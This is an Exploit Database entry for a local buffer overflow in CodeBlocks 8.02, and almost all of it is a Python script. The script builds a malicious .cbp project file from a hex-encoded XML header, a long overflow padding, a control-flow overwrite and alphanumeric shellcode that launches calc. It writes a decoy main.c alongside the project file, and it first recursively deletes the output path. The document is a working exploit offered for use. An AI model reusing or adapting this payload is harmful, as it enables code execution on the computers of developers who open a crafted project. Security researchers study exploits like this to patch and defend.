CodeBlocks 8.02 – ‘cbp’ Local Buffer Overflow

• Exploit Database
• 116 阅读

• 作者： sup3r
  日期： 2011-02-01
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16092/
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  #!/usr/bin/python       import sys,os,shutil       if len(sys.argv) != 3:   print "------------------------------------------------" print "CodeBlocks (cbp) Buffer Overflow Exploit " print "Usage : exploit.py <project_name> <path>" print "Example : exploit.py sploit_proj c:\proj\\ " print "By : sup3r " print "------------------------------------------------"   sys.exit(0)       name = sys.argv[1]   path = sys.argv[2]       header1=(   "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20"   "\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x55\x54\x46\x2d\x38\x22\x20\x73\x74\x61"   "\x6e\x64\x61\x6c\x6f\x6e\x65\x3d\x22\x79\x65\x73\x22\x20\x3f\x3e\x0a\x3c\x43\x6f"   "\x64\x65\x42\x6c\x6f\x63\x6b\x73\x5f\x70\x72\x6f\x6a\x65\x63\x74\x5f\x66\x69\x6c"   "\x65\x3e\x0a\x09\x3c\x46\x69\x6c\x65\x56\x65\x72\x73\x69\x6f\x6e\x20\x6d\x61\x6a"   "\x6f\x72\x3d\x22\x31\x22\x20\x6d\x69\x6e\x6f\x72\x3d\x22\x36\x22\x20\x2f\x3e\x0a"   "\x09\x3c\x50\x72\x6f\x6a\x65\x63\x74\x3e\x0a\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e"   "\x20\x74\x69\x74\x6c\x65\x3d\x22"+name+"\x22\x20\x2f\x3e\x0a\x09\x09\x3c\x4f"   "\x70\x74\x69\x6f\x6e\x20\x70\x63\x68\x5f\x6d\x6f\x64\x65\x3d\x22\x32\x22\x20\x2f"   "\x3e\x0a\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e\x20\x63\x6f\x6d\x70\x69\x6c\x65\x72"   "\x3d\x22\x67\x63\x63\x22\x20\x2f\x3e\x0a\x09\x09\x3c\x42\x75\x69\x6c\x64\x3e\x0a"   "\x09\x09\x09\x3c\x54\x61\x72\x67\x65\x74\x20\x74\x69\x74\x6c\x65\x3d\x22\x44\x65"   "\x62\x75\x67\x22\x3e\x0a\x09\x09\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e\x20\x6f\x75"   "\x74\x70\x75\x74\x3d\x22")       header2=(   "\x22\x20\x70\x72\x65\x66\x69\x78\x5f\x61\x75\x74\x6f\x3d\x22\x31\x22\x20\x65\x78"   "\x74\x65\x6e\x73\x69\x6f\x6e\x5f\x61\x75\x74\x6f\x3d\x22\x31\x22\x20\x2f\x3e\x0a"   "\x09\x09\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e\x20\x6f\x62\x6a\x65\x63\x74\x5f\x6f"   "\x75\x74\x70\x75\x74\x3d\x22\x6f\x62\x6a\x5c\x44\x65\x62\x75\x67\x5c\x22\x20\x2f"   "\x3e\x0a\x09\x09\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e\x20\x74\x79\x70\x65\x3d\x22"   "\x31\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e\x20\x63\x6f"   "\x6d\x70\x69\x6c\x65\x72\x3d\x22\x67\x63\x63\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09"   "\x3c\x43\x6f\x6d\x70\x69\x6c\x65\x72\x3e\x0a\x09\x09\x09\x09\x09\x3c\x41\x64\x64"   "\x20\x6f\x70\x74\x69\x6f\x6e\x3d\x22\x2d\x67\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09"   "\x3c\x2f\x43\x6f\x6d\x70\x69\x6c\x65\x72\x3e\x0a\x09\x09\x09\x3c\x2f\x54\x61\x72"   "\x67\x65\x74\x3e\x0a\x09\x09\x09\x3c\x54\x61\x72\x67\x65\x74\x20\x74\x69\x74\x6c"   "\x65\x3d\x22\x52\x65\x6c\x65\x61\x73\x65\x22\x3e\x0a\x09\x09\x09\x09\x3c\x4f\x70"   "\x74\x69\x6f\x6e\x20\x6f\x75\x74\x70\x75\x74\x3d\x22\x62\x69\x6e\x5c\x52\x65\x6c"   "\x65\x61\x73\x65\x5c"+name+"\x22\x20\x70\x72\x65\x66\x69\x78\x5f\x61\x75\x74"   "\x6f\x3d\x22\x31\x22\x20\x65\x78\x74\x65\x6e\x73\x69\x6f\x6e\x5f\x61\x75\x74\x6f"   "\x3d\x22\x31\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e\x20"   "\x6f\x62\x6a\x65\x63\x74\x5f\x6f\x75\x74\x70\x75\x74\x3d\x22\x6f\x62\x6a\x5c\x52"   "\x65\x6c\x65\x61\x73\x65\x5c\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09\x3c\x4f\x70\x74"   "\x69\x6f\x6e\x20\x74\x79\x70\x65\x3d\x22\x31\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09"   "\x3c\x4f\x70\x74\x69\x6f\x6e\x20\x63\x6f\x6d\x70\x69\x6c\x65\x72\x3d\x22\x67\x63"   "\x63\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09\x3c\x43\x6f\x6d\x70\x69\x6c\x65\x72\x3e"   "\x0a\x09\x09\x09\x09\x09\x3c\x41\x64\x64\x20\x6f\x70\x74\x69\x6f\x6e\x3d\x22\x2d"   "\x4f\x32\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09\x3c\x2f\x43\x6f\x6d\x70\x69\x6c\x65"   "\x72\x3e\x0a\x09\x09\x09\x09\x3c\x4c\x69\x6e\x6b\x65\x72\x3e\x0a\x09\x09\x09\x09"   "\x09\x3c\x41\x64\x64\x20\x6f\x70\x74\x69\x6f\x6e\x3d\x22\x2d\x73\x22\x20\x2f\x3e"   "\x0a\x09\x09\x09\x09\x3c\x2f\x4c\x69\x6e\x6b\x65\x72\x3e\x0a\x09\x09\x09\x3c\x2f"   "\x54\x61\x72\x67\x65\x74\x3e\x0a\x09\x09\x3c\x2f\x42\x75\x69\x6c\x64\x3e\x0a\x09"   "\x09\x3c\x43\x6f\x6d\x70\x69\x6c\x65\x72\x3e\x0a\x09\x09\x09\x3c\x41\x64\x64\x20"   "\x6f\x70\x74\x69\x6f\x6e\x3d\x22\x2d\x57\x61\x6c\x6c\x22\x20\x2f\x3e\x0a\x09\x09"   "\x3c\x2f\x43\x6f\x6d\x70\x69\x6c\x65\x72\x3e\x0a\x09\x09\x3c\x55\x6e\x69\x74\x20"   "\x66\x69\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x6d\x61\x69\x6e\x2e\x63\x22\x3e\x0a\x09"   "\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e\x20\x63\x6f\x6d\x70\x69\x6c\x65\x72\x56\x61"   "\x72\x3d\x22\x43\x43\x22\x20\x2f\x3e\x0a\x09\x09\x3c\x2f\x55\x6e\x69\x74\x3e\x0a"   "\x09\x09\x3c\x45\x78\x74\x65\x6e\x73\x69\x6f\x6e\x73\x3e\x0a\x09\x09\x09\x3c\x63"   "\x6f\x64\x65\x5f\x63\x6f\x6d\x70\x6c\x65\x74\x69\x6f\x6e\x20\x2f\x3e\x0a\x09\x09"   "\x09\x3c\x64\x65\x62\x75\x67\x67\x65\x72\x20\x2f\x3e\x0a\x09\x09\x3c\x2f\x45\x78"   "\x74\x65\x6e\x73\x69\x6f\x6e\x73\x3e\x0a\x09\x3c\x2f\x50\x72\x6f\x6a\x65\x63\x74"   "\x3e\x0a\x3c\x2f\x43\x6f\x64\x65\x42\x6c\x6f\x63\x6b\x73\x5f\x70\x72\x6f\x6a\x65"   "\x63\x74\x5f\x66\x69\x6c\x65\x3e\x0a")       c_file=(   "#include <stdio.h>\n"   "#include <stdlib.h>\n\n"   "int main()\n"   "{\r\n"   "printf(\"Don&apos;t compile \");\n"   "return 0;\n"   "}\r\n")       #calc shellcode -> 375 bytes   shellcode=(   "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIvSkymS8iKnKizNkipta"   "4XtckmQ2SuCZMwgQQrVK3zKKL8bJTVqioWuCFZMR79Z4sN1mLEmqcz5WfLnimlbTOkz7YhM"   "TVLjgORFvCiZQgVcUvmQxo71MCmQS2ZJxVlK1kjLZuoZOrZvPC2EBRnxL28JWY9YTVLjdPP"   "f5KvjimNRTKSpompftKYZ47UVMNeMrrxiZtppx6MYMLvaCvrHjwvYqj2FV7rmKMOm6khlKM"   "OuUOMzCOQvNwl1T6xmwgKzUNZqQXRPMPNmaQo8Nnpnn77Jq6k5pilYJ4mNQojymXqwvyUFO"   "ytJPtq0vzNn7gw1CFtJA")       payload =header1   payload += "\x41"*(4072-len(path))   payload += "\x74\x06\x41\x41"   payload += "xp"   payload += "\x30\x71"   payload += "\x61"*169   payload += "\x41"*111   payload += shellcode   payload += "\x61"*(6720-len(shellcode))   payload += header2       try:   shutil.rmtree(path)   except os.error:   pass     try:   os.mkdir(path)   cbp = open(path+name+&apos;.cbp&apos;, &apos;w&apos;)   cbp.write(payload)   cbp.close()   main = open(path+&apos;main.c&apos;, &apos;w&apos;)   main.write(c_file)   raw_input("[x] Exploit project created!")       except:   print "Error!"